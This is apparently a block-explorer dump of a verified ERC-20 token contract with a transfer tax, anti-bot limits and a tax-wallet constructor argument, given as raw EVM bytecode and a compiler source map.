ffffffff1681526020019081526020016000205461239990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611df684866123f790919063ffffffff16565b604051611e03919061268c565b60405180910390a350505050565b6000838311158290611e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e50919061253d565b60405180910390fd5b5060008385611e68919061349b565b9050809150509392505050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ead57611eac6128f3565b5b604051908082528060200260200182016040528015611edb5781602001602082028036833780820191505090505b5090503081600081518110611ef357611ef2612d01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbe91906134e4565b81600181518110611fd257611fd1612d01565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203930601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611259565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209d95949392919061360a565b600060405180830381600087803b1580156120b757600080fd5b505af11580156120cb573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b6009600a6120fc9190612c5c565b66017e9d8602b40061210e9190612ca7565b6011819055506009600a6121229190612c5c565b66017e9d8602b4006121349190612ca7565b601281905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121e357600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121e257600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6122129190612c5c565b66017e9d8602b4006122249190612ca7565b604051612231919061268c565b60405180910390a150565b60008083141561224f57600090506122b1565b6000828461225d9190612ca7565b905082848261226c9190613693565b146122ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a390613736565b60405180910390fd5b809150505b92915050565b60006122f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612441565b905092915050565b600080823b905060008111915050919050565b60008183116123235782612325565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612395573d6000803e3d6000fd5b5050565b60008082846123a891906133d9565b9050838110156123ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e4906137a2565b60405180910390fd5b8091505092915050565b600061243983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e11565b905092915050565b60008083118290612488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247f919061253d565b60405180910390fd5b50600083856124979190613693565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124de5780820151818401526020810190506124c3565b838111156124ed576000848401525b50505050565b6000601f19601f8301169050919050565b600061250f826124a4565b61251981856124af565b93506125298185602086016124c0565b612532816124f3565b840191505092915050565b600060208201905081810360008301526125578184612504565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061259e82612573565b9050919050565b6125ae81612593565b81146125b957600080fd5b50565b6000813590506125cb816125a5565b92915050565b6000819050919050565b6125e4816125d1565b81146125ef57600080fd5b50565b600081359050612601816125db565b92915050565b6000806040838503121561261e5761261d612569565b5b600061262c858286016125bc565b925050602061263d858286016125f2565b9150509250929050565b60008115159050919050565b61265c81612647565b82525050565b60006020820190506126776000830184612653565b92915050565b612686816125d1565b82525050565b60006020820190506126a1600083018461267d565b92915050565b6000806000606084860312156126c0576126bf612569565b5b60006126ce868287016125bc565b93505060206126df868287016125bc565b92505060406126f0868287016125f2565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011261271f5761271e6126fa565b5b8235905067ffffffffffffffff81111561273c5761273b6126ff565b5b60208301915083602082028301111561275857612757612704565b5b9250929050565b60008060006040848603121561277857612777612569565b5b600084013567ffffffffffffffff8111156127965761279561256e565b5b6127a286828701612709565b935093505060206127b5868287016125f2565b9150509250925092565b600060ff82169050919050565b6127d5816127bf565b82525050565b60006020820190506127f060008301846127cc565b92915050565b60006020828403121561280c5761280b612569565b5b600061281a848285016125bc565b91505092915050565b6000819050919050565b600061284861284361283e84612573565b612823565b612573565b9050919050565b600061285a8261282d565b9050919050565b600061286c8261284f565b9050919050565b61287c81612861565b82525050565b60006020820190506128976000830184612873565b92915050565b6128a681612593565b82525050565b60006020820190506128c1600083018461289d565b92915050565b6128d081612647565b81146128db57600080fd5b50565b6000813590506128ed816128c7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61292b826124f3565b810181811067ffffffffffffffff8211171561294a576129496128f3565b5b80604052505050565b600061295d61255f565b90506129698282612922565b919050565b600067ffffffffffffffff821115612989576129886128f3565b5b602082029050602081019050919050565b60006129ad6129a88461296e565b612953565b905080838252602082019050602084028301858111156129d0576129cf612704565b5b835b818110156129f957806129e588826125bc565b8452602084019350506020810190506129d2565b5050509392505050565b600082601f830112612a1857612a176126fa565b5b8135612a2884826020860161299a565b91505092915050565b60008060408385031215612a4857612a47612569565b5b6000612a56858286016128de565b925050602083013567ffffffffffffffff811115612a7757612a7661256e565b5b612a8385828601612a03565b9150509250929050565b600060208284031215612aa357612aa2612569565b5b6000612ab1848285016125f2565b91505092915050565b60008060408385031215612ad157612ad0612569565b5b6000612adf858286016125bc565b9250506020612af0858286016125bc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612b8057808604811115612b5c57612b5b612afa565b5b6001851615612b6b5780820291505b8081029050612b7985612b29565b9450612b40565b94509492505050565b600082612b995760019050612c55565b81612ba75760009050612c55565b8160018114612bbd5760028114612bc757612bf6565b6001915050612c55565b60ff841115612bd957612bd8612afa565b5b8360020a915084821115612bf057612bef612afa565b5b50612c55565b5060208310610133831016604e8410600b8410161715612c2b5782820a905083811115612c2657612c25612afa565b5b612c55565b612c388484846001612b36565b92509050818404811115612c4f57612c4e612afa565b5b81810290505b9392505050565b6000612c67826125d1565b9150612c72836127bf565b9250612c9f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b89565b905092915050565b6000612cb2826125d1565b9150612cbd836125d1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cf657612cf5612afa565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d3b826125d1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d6e57612d6d612afa565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612daf6020836124af565b9150612dba82612d79565b602082019050919050565b60006020820190508181036000830152612dde81612da2565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612e1b601f836124af565b9150612e2682612de5565b602082019050919050565b60006020820190508181036000830152612e4a81612e0e565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612e87601b836124af565b9150612e9282612e51565b602082019050919050565b60006020820190508181036000830152612eb681612e7a565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612ef3600c836124af565b9150612efe82612ebd565b602082019050919050565b60006020820190508181036000830152612f2281612ee6565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f5f6017836124af565b9150612f6a82612f29565b602082019050919050565b60006020820190508181036000830152612f8e81612f52565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ff16024836124af565b9150612ffc82612f95565b604082019050919050565b6000602082019050818103600083015261302081612fe4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130836022836124af565b915061308e82613027565b604082019050919050565b600060208201905081810360008301526130b281613076565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131156025836124af565b9150613120826130b9565b604082019050919050565b6000602082019050818103600083015261314481613108565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131a76023836124af565b91506131b28261314b565b604082019050919050565b600060208201905081810360008301526131d68161319a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132396029836124af565b9150613244826131dd565b604082019050919050565b600060208201905081810360008301526132688161322c565b9050919050565b7f426f74206164647265737365732063616e6e6f742062757920696e207468652060008201527f666972737420626c6f636b000000000000000000000000000000000000000000602082015250565b60006132cb602b836124af565b91506132d68261326f565b604082019050919050565b600060208201905081810360008301526132fa816132be565b9050919050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b6000613337601a836124af565b915061334282613301565b602082019050919050565b600060208201905081810360008301526133668161332a565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b60006133a36018836124af565b91506133ae8261336d565b602082019050919050565b600060208201905081810360008301526133d281613396565b9050919050565b60006133e4826125d1565b91506133ef836125d1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561342457613423612afa565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613465601a836124af565b91506134708261342f565b602082019050919050565b6000602082019050818103600083015261349481613458565b9050919050565b60006134a6826125d1565b91506134b1836125d1565b9250828210156134c4576134c3612afa565b5b828203905092915050565b6000815190506134de816125a5565b92915050565b6000602082840312156134fa576134f9612569565b5b6000613508848285016134cf565b91505092915050565b6000819050919050565b600061353661353161352c84613511565b612823565b6125d1565b9050919050565b6135468161351b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61358181612593565b82525050565b60006135938383613578565b60208301905092915050565b6000602082019050919050565b60006135b78261354c565b6135c18185613557565b93506135cc83613568565b8060005b838110156135fd5781516135e48882613587565b97506135ef8361359f565b9250506001810190506135d0565b5085935050505092915050565b600060a08201905061361f600083018861267d565b61362c602083018761353d565b818103604083015261363e81866135ac565b905061364d606083018561289d565b61365a608083018461267d565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061369e826125d1565b91506136a9836125d1565b9250826136b9576136b8613664565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006137206021836124af565b915061372b826136c4565b604082019050919050565b6000602082019050818103600083015261374f81613713565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061378c601b836124af565b915061379782613756565b602082019050919050565b600060208201905081810360008301526137bb8161377f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209217a3c26b8be865e0adbdb095083197c6558c1317f163c7b63749c52479211d64736f6c634300080a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000f12a4b9dad2753d25664f5c2950629c4c2feb032

-----Decoded View---------------
Arg [0] : _walletTax (address): 0xf12A4B9daD2753d25664F5c2950629c4c2fEB032

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000f12a4b9dad2753d25664f5c2950629c4c2feb032


Deployed Bytecode Sourcemap

2136:9837:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4459:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5292:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3498:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4736:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5461:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11540:260;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4645:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2626:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10759:295;;;;;;;;;;;;;:::i;:::-;;2745:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10661:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4839:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;621:148:2;;;;;;;;;;;;;:::i;:::-;;3231:56:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3610:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;407:79:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3294:58:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4550:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9810:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9454:348;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4966:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11063:254;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2707:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3434:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11808:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11327:204;;;;;;;;;;;;;:::i;:::-;;5141:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2666:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3693:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4459:83;4496:13;4529:5;;;;;;;;;;;;;;;;;4522:12;;4459:83;:::o;5292:161::-;5367:4;5384:39;5393:12;:10;:12::i;:::-;5407:7;5416:6;5384:8;:39::i;:::-;5441:4;5434:11;;5292:161;;;;:::o;3498:54::-;;;;:::o;4736:95::-;4789:7;3029:1;3211:2;:13;;;;:::i;:::-;3189:19;:35;;;;:::i;:::-;4809:14;;4736:95;:::o;5461:313::-;5559:4;5576:36;5586:6;5594:9;5605:6;5576:9;:36::i;:::-;5623:121;5632:6;5640:12;:10;:12::i;:::-;5654:89;5692:6;5654:89;;;;;;;;;;;;;;;;;:11;:19;5666:6;5654:19;;;;;;;;;;;;;;;:33;5674:12;:10;:12::i;:::-;5654:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5623:8;:121::i;:::-;5762:4;5755:11;;5461:313;;;;;:::o;11540:260::-;11647:10;;;;;;;;;;;11631:26;;:12;:10;:12::i;:::-;:26;;;11623:35;;;;;;11674:9;11669:124;11693:10;;:17;;11689:1;:21;11669:124;;;11761:10;;11772:1;11761:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11737:44;;11746:13;;;;;;;;;;;11737:44;;;11776:4;11737:44;;;;;;:::i;:::-;;;;;;;;11712:3;;;;;:::i;:::-;;;;11669:124;;;;11540:260;;;:::o;4645:83::-;4686:5;3029:1;4704:16;;4645:83;:::o;2626:33::-;;;;:::o;10759:295::-;544:12:2;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10818:11:3::1;;;;;;;;;;;10817:12;10809:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;10876:23;10902:21;10876:47;;10960:1;10942:15;:19;10934:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;11012:7;:5;:7::i;:::-;11004:25;;:42;11030:15;11004:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;10798:256;10759:295::o:0;2745:32::-;;;;:::o;10661:90::-;10710:4;10734:9;10727:16;;10661:90;:::o;4839:119::-;4905:7;4932:9;:18;4942:7;4932:18;;;;;;;;;;;;;;;;4925:25;;4839:119;;;:::o;621:148:2:-;544:12;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;728:1:::1;691:40;;712:6;::::0;::::1;;;;;;;;691:40;;;;;;;;;;;;759:1;742:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;621:148::o:0;3231:56:3:-;;;;:::o;3610:39::-;;;;;;;;;;;;;:::o;407:79:2:-;445:7;472:6;;;;;;;;;;;465:13;;407:79;:::o;3294:58:3:-;;;;:::o;4550:87::-;4589:13;4622:7;;;;;;;;;;;;;;;;;4615:14;;4550:87;:::o;9810:146::-;9869:4;9892:49;:56;9942:5;9892:56;;;;;;;;;;;;;;;;;;;;;;;;;9885:63;;9810:146;;;:::o;9454:348::-;9551:10;;;;;;;;;;;9535:26;;:12;:10;:12::i;:::-;:26;;;9527:35;;;;;;9573:13;9601:194;9616:5;:12;9608:5;:20;9601:194;;;9645:14;9670:5;9676;9670:12;;;;;;;;:::i;:::-;;;;;;;;9645:38;;9758:3;9698:49;:57;9748:6;9698:57;;;;;;;;;;;;;;;;:63;;;;;;;;;;;;;;;;;;9776:7;;;;;:::i;:::-;;;;9630:165;9601:194;;;9516:286;9454:348;;:::o;4966:167::-;5044:4;5061:42;5071:12;:10;:12::i;:::-;5085:9;5096:6;5061:9;:42::i;:::-;5121:4;5114:11;;4966:167;;;;:::o;11063:254::-;11141:10;;;;;;;;;;;11125:26;;:12;:10;:12::i;:::-;:26;;;11117:35;;;;;;11181:24;11199:4;11181:9;:24::i;:::-;11171:6;:34;;:48;;;;;11218:1;11209:6;:10;11171:48;11163:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;11247:24;11264:6;11247:16;:24::i;:::-;11282:10;;;;;;;;;;;:19;;:27;11302:6;11282:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11063:254;:::o;2707:31::-;;;;:::o;3434:57::-;;;;:::o;11808:125::-;11882:10;;;;;;;;;;;11866:26;;:12;:10;:12::i;:::-;:26;;;11858:35;;;;;;11920:5;11904:13;;:21;;;;;;;;;;;;;;;;;;11808:125;:::o;11327:204::-;544:12:2;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11391:11:3::1;;;;;;;;;;;11390:12;11382:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11454:4;11440:11;;:18;;;;;;;;;;;;;;;;;;11483:4;11469:11;;:18;;;;;;;;;;;;;;;;;;11511:12;11498:10;:25;;;;11327:204::o:0;5141:143::-;5222:7;5249:11;:18;5261:5;5249:18;;;;;;;;;;;;;;;:27;5268:7;5249:27;;;;;;;;;;;;;;;;5242:34;;5141:143;;;;:::o;2666:34::-;;;;:::o;3693:23::-;;;;;;;;;;;;;:::o;95:98:0:-;148:7;175:10;168:17;;95:98;:::o;5782:335:3:-;5892:1;5875:19;;:5;:19;;;;5867:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5973:1;5954:21;;:7;:21;;;;5946:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6055:6;6025:11;:18;6037:5;6025:18;;;;;;;;;;;;;;;:27;6044:7;6025:27;;;;;;;;;;;;;;;:36;;;;6093:7;6077:32;;6086:5;6077:32;;;6102:6;6077:32;;;;;;:::i;:::-;;;;;;;;5782:335;;;:::o;6125:2501::-;6229:1;6213:18;;:4;:18;;;;6205:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6306:1;6292:16;;:2;:16;;;;6284:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6376:1;6367:6;:10;6359:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6434:17;6476:7;:5;:7::i;:::-;6468:15;;:4;:15;;;;:32;;;;;6493:7;:5;:7::i;:::-;6487:13;;:2;:13;;;;6468:32;6464:1806;;;6530:1;6517:10;;:14;:43;;;;;6550:10;;6535:12;:25;6517:43;6513:70;;;6563:18;6576:4;6563:12;:18::i;:::-;6513:70;6609:77;6682:3;6609:68;6632:15;;6621:9;;:26;;6620:56;;6662:14;;6620:56;;;6649:12;;6620:56;6609:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;6597:89;;6715:13;;;;;;;;;;;6707:21;;:4;:21;;;:55;;;;;6746:15;;;;;;;;;;;6732:30;;:2;:30;;;;6707:55;6703:676;;;6801:12;6787:10;;:26;6783:581;;;6846:18;:22;6865:2;6846:22;;;;;;;;;;;;;;;;;;;;;;;;;6838:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;3029:1;3414:2;:13;;;;:::i;:::-;3401:10;:26;;;;:::i;:::-;6947:6;:24;;6939:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;6783:581;;;7069:12;;7059:6;:22;;7051:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;7167:14;;7157:6;7141:13;7151:2;7141:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7133:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7256:12;7252:1;7239:10;;:14;;;;:::i;:::-;:29;7235:110;;;7306:14;7317:2;7306:10;:14::i;:::-;7305:15;7297:24;;;;;;7235:110;6783:581;6703:676;7405:13;;;;;;;;;;;7399:19;;:2;:19;;;;:46;;;;;7423:18;:22;7442:2;7423:22;;;;;;;;;;;;;;;;;;;;;;;;;7422:23;7399:46;7395:166;;;7500:14;;7490:6;7474:13;7484:2;7474:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7466:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7395:166;7586:13;;;;;;;;;;;7580:19;;:2;:19;;;:43;;;;;7618:4;7603:20;;:4;:20;;;;7580:43;7577:174;;;7656:79;7731:3;7656:70;7678:16;;7668:9;;:26;7667:58;;7710:15;;7667:58;;;7696:13;;7667:58;7656:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;7644:91;;7577:174;7767:28;7798:24;7816:4;7798:9;:24::i;:::-;7767:55;;7842:6;;;;;;;;;;;7841:7;:31;;;;;7859:13;;;;;;;;;;;7852:20;;:2;:20;;;7841:31;:46;;;;;7876:11;;;;;;;;;;;7841:46;:88;;;;;7912:17;;7891:20;:38;7841:88;:120;;;;;7943:18;;7933:9;;:28;7841:120;7837:420;;;7982:67;7999:49;8003:6;8010:37;8014:20;8035:11;;8010:3;:37::i;:::-;7999:3;:49::i;:::-;7982:16;:67::i;:::-;8068:26;8097:21;8068:50;;8161:1;8140:18;:22;8137:105;;;8187:35;8200:21;8187:12;:35::i;:::-;8137:105;7963:294;7837:420;6502:1768;6464:1806;8295:1;8285:9;:11;8282:161;;;8335:39;8364:9;8335;:24;8353:4;8335:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;8310:9;:24;8328:4;8310:24;;;;;;;;;;;;;;;:64;;;;8415:4;8392:39;;8401:4;8392:39;;;8421:9;8392:39;;;;;;:::i;:::-;;;;;;;;8282:161;8469:27;8489:6;8469:9;:15;8479:4;8469:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8453:9;:15;8463:4;8453:15;;;;;;;;;;;;;;;:43;;;;8521:40;8539:21;8550:9;8539:6;:10;;:21;;;;:::i;:::-;8521:9;:13;8531:2;8521:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;8507:9;:13;8517:2;8507:13;;;;;;;;;;;;;;;:54;;;;8592:2;8577:41;;8586:4;8577:41;;;8596:21;8607:9;8596:6;:10;;:21;;;;:::i;:::-;8577:41;;;;;;:::i;:::-;;;;;;;;6194:2432;6125:2501;;;:::o;495:190::-;581:7;614:1;609;:6;;617:12;601:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;641:9;657:1;653;:5;;;;:::i;:::-;641:17;;676:1;669:8;;;495:190;;;;;:::o;9964:483::-;3889:4;3880:6;;:13;;;;;;;;;;;;;;;;;;10042:21:::1;10080:1;10066:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10042:40;;10111:4;10093;10098:1;10093:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10137:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10127:4;10132:1;10127:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10170:62;10187:4;10202:15;;;;;;;;;;;10220:11;10170:8;:62::i;:::-;10243:15;;;;;;;;;;;:66;;;10324:11;10350:1;10366:4;10393;10413:15;10243:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10031:416;3925:5:::0;3916:6;;:14;;;;;;;;;;;;;;;;;;9964:483;:::o;8837:273::-;3029:1;3211:2;:13;;;;:::i;:::-;3189:19;:35;;;;:::i;:::-;8894:12;:22;;;;3029:1;3211:2;:13;;;;:::i;:::-;3189:19;:35;;;;:::i;:::-;8927:14;:24;;;;8965:49;:57;9015:6;8965:57;;;;;;;;;;;;;;;;;;;;;;;;;8962:97;;;9032:18;:26;9051:6;9032:26;;;;;;;;;;;;;;;;;;;;;;;;;9024:35;;;;;;8962:97;9075:27;3029:1;3211:2;:13;;;;:::i;:::-;3189:19;:35;;;;:::i;:::-;9075:27;;;;;;:::i;:::-;;;;;;;;8837:273;:::o;693:246::-;751:7;780:1;775;:6;771:47;;;805:1;798:8;;;;771:47;828:9;844:1;840;:5;;;;:::i;:::-;828:17;;873:1;868;864;:5;;;;:::i;:::-;:10;856:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;930:1;923:8;;;693:246;;;;;:::o;947:132::-;1005:7;1032:39;1036:1;1039;1032:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1025:46;;947:132;;;;:::o;8634:195::-;8693:4;8710:12;8777:7;8765:20;8757:28;;8820:1;8813:4;:8;8806:15;;;8634:195;;;:::o;10455:98::-;10512:7;10539:1;10537;:3;10536:9;;10544:1;10536:9;;;10542:1;10536:9;10529:16;;10455:98;;;;:::o;10561:92::-;10618:10;;;;;;;;;;;:19;;:27;10638:6;10618:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10561:92;:::o;164:179::-;222:7;242:9;258:1;254;:5;;;;:::i;:::-;242:17;;283:1;278;:6;;270:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;334:1;327:8;;;164:179;;;;:::o;351:136::-;409:7;436:43;440:1;443;436:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;429:50;;351:136;;;;:::o;1087:189::-;1173:7;1205:1;1201;:5;1208:12;1193:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1232:9;1248:1;1244;:5;;;;:::i;:::-;1232:17;;1267:1;1260:8;;;1087:189;;;;;:::o;7:99:4:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;